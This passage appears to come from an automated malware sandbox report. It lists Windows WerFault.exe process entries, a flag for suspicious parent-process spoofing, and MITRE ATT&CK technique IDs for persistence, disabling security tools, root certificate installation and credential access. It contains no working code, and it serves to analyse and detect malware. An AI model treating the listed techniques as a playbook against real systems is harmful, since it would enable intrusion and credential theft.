PID:1256

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 1172 -ip 1172
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 5288 -ip 5288
1⤵
PID:1032

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Process Discovery

T1057

Query Registry

System Information Discovery